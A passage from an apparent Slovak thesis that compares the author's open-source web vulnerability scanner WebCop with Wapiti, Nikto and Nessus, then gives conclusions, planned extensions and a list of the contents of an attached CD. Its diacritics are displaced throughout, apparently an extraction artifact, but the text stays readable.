pr´ıpade, ani tento na´stroj neumozˇnˇuje konfigurovat’ ako sa maju´ preva´dzat’
jednotlive´ testy. Ty´m mysl´ım zˇe uzˇ´ıvatel’ nema´ kontrolu napr´ıklad nad XSS
vektormi, ktore´ tento na´stroj pouzˇ´ıva.
Rozsahom pokryty´ch zranitel’nost´ı je tento projekt podobny´ na´stroju Web-
Cop. Skener Wapiti s´ıce neumozˇnˇuje detekciu zranitel’nost´ı CSRF, ale au-
tomaticka´ detekcia tejto zranitel’nosti je problematicka´ a ani moje riesˇenie,
ani riesˇenie pouzˇite´ vo frameworku w3af urcˇite nie je stopercentne´.
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6.3 Nikto
Za´kladny´ rozdiel medzi na´strojom WebCop a Nikto je ten, zˇe Nikto je ske-
ner webovy´ch serverov, nie konkre´tnych webovy´ch aplika´ci´ı. S ty´m su´vis´ı
spoˆsob, ako Nikto vyhl’ada´va konkre´tne zranitel’nosti - udrzˇiava si databa´zu
zna´mych bezpecˇnostny´ch chy´b a testy preva´dza vzˇdy na konkre´tnu zrani-
tel’nost’ v tejto databa´ze. Tento na´stroj teda samostatne nevyhl’ada´va chyby
vo webovy´ch aplika´ciach, dokonca ani neprehl’ada´va sˇtruktu´ru pr´ıtomny´ch
webovy´ch aplika´ci´ı.
6.4 Nessus
Ked’zˇe na´stroj Nessus je urcˇeny´ na komplexny´ audit bezpecˇnosti pocˇ´ıtacˇo-
vy´ch siet´ı, ma´ zmysel v tomto porovnan´ı sa su´stredit’ iba na tu´ cˇast’ funkci-
onality na´stroja ktora´ priamo su´vis´ı s webom. Nessus sa da´ pouzˇit’ ako skener
webovy´ch serverov, dokonca tento na´stroj sa da´ priamo prepojit’ s na´strojom
Nikto. Okrem takzvane´ho signature based testovania webovy´ch zranitel’nost´ı
podl’a svojej databa´zy chy´b ale tento na´stroj ponu´ka aj mozˇnosti na samos-
tatne´ vyhl’ada´vanie bezpecˇnostny´ch chy´b vo webovy´ch aplika´ciach.
Ako v predcha´dzaju´cich na´strojoch aj tu vsˇak absentuje mozˇnost’ nakonfi-
gurovania konkre´tnych attack vektorov ktore´ sa pri testovan´ı pouzˇiju´. A po-
dobne ako v na´stroji Wapiti, chy´ba tu mozˇnost’ samostatne´ho odhal’ovania
CSRF zranitel’nost´ı.
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Kapitola 7
Za´ver
Na´stroj WebCop, ktory´ som v ra´mci tejto pra´ce vytvoril, si kladie za ciel’
pomoˆct’ vy´voja´rom webovy´ch aplika´ci´ı zautomatizovat’ a ty´m ury´chlit’ pro-
ces vyhl’ada´vania bezˇny´ch bezpecˇnostny´ch zranitel’nost´ı vo webovy´ch ap-
lika´ciach. Od uzˇ´ıvatel’a tohto na´stroja sa pritom predpoklada´ znalost’ princ´ıpu
zranitel’nost´ı na ktore´ danu´ webovu´ aplika´ciu testuje. Konfigura´ciou dany´ch
testov totizˇ uzˇ´ıvatel’ priamo ovplyvnˇuje ako sa samotny´ test vykona´ a za
aky´ch podmienok test vyhodnot´ı pr´ıtomnost’ danej zranitel’nosti pozit´ıvne.
Na´stroj WebCop je vytvoreny´ ako Open Source projekt. Je hostovany´ na
serveri sourceforge.net s na´zvom projektu webCop pod licenciou GNU Ge-
neral Public Licence (GPL).
Dˇalˇs´ı priestor pri rozˇsˇirovan´ı tohto na´stroja vid´ım predovsˇetky´m v rozsˇ´ıren´ı
pokrytia typov webovy´ch zranitel’nost´ı, ktory´ch pr´ıtomnost’ na´stroj umozˇnˇuje
detekovat’. Jednoducho by sa napr´ıklad dala doplnit’ funkcionalita na detek-
ciu zabudnuty´ch backup su´borov vo webovy´ch aplika´ciach. Dˇalˇsie uzˇitocˇne´
rozsˇ´ırenie tohto na´stroja vid´ım v pridan´ı podpory protokolu HTTP/TLS,
najjednoduchsˇie pomocou vyuzˇitia nejakej third-party knizˇnice.
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Appendix A
Obsah prilozˇene´ho CD
Su´cˇast’ou pra´ce je na CD prilozˇena´ webova´ aplika´cia, ktora´ slu´zˇi na de-
monsˇtrovanie funkcˇnosti na´stroja. Ta´to aplika´cia je hostovana´ aj na inter-
nete na serveri webzdarma.cz. Na´stroj takisto obsahuje uzˇ vyplnene´ konfi-
guracˇne´ su´bory, ktore´ su´ nastavene´ tak zˇe po skompilovan´ı a spusten´ı tohto
skenera webovy´ch zranitel’nost´ı sa zacˇne testovat’ ta´to modelova´ webova´ ap-
lika´cia dostupna´ na adrese http://profinzer.zaridi.to/. Na CD je d’alej
prilozˇena´ programa´torska´ dokumenta´cia vygenerovana´ na´strojom Doxygen.
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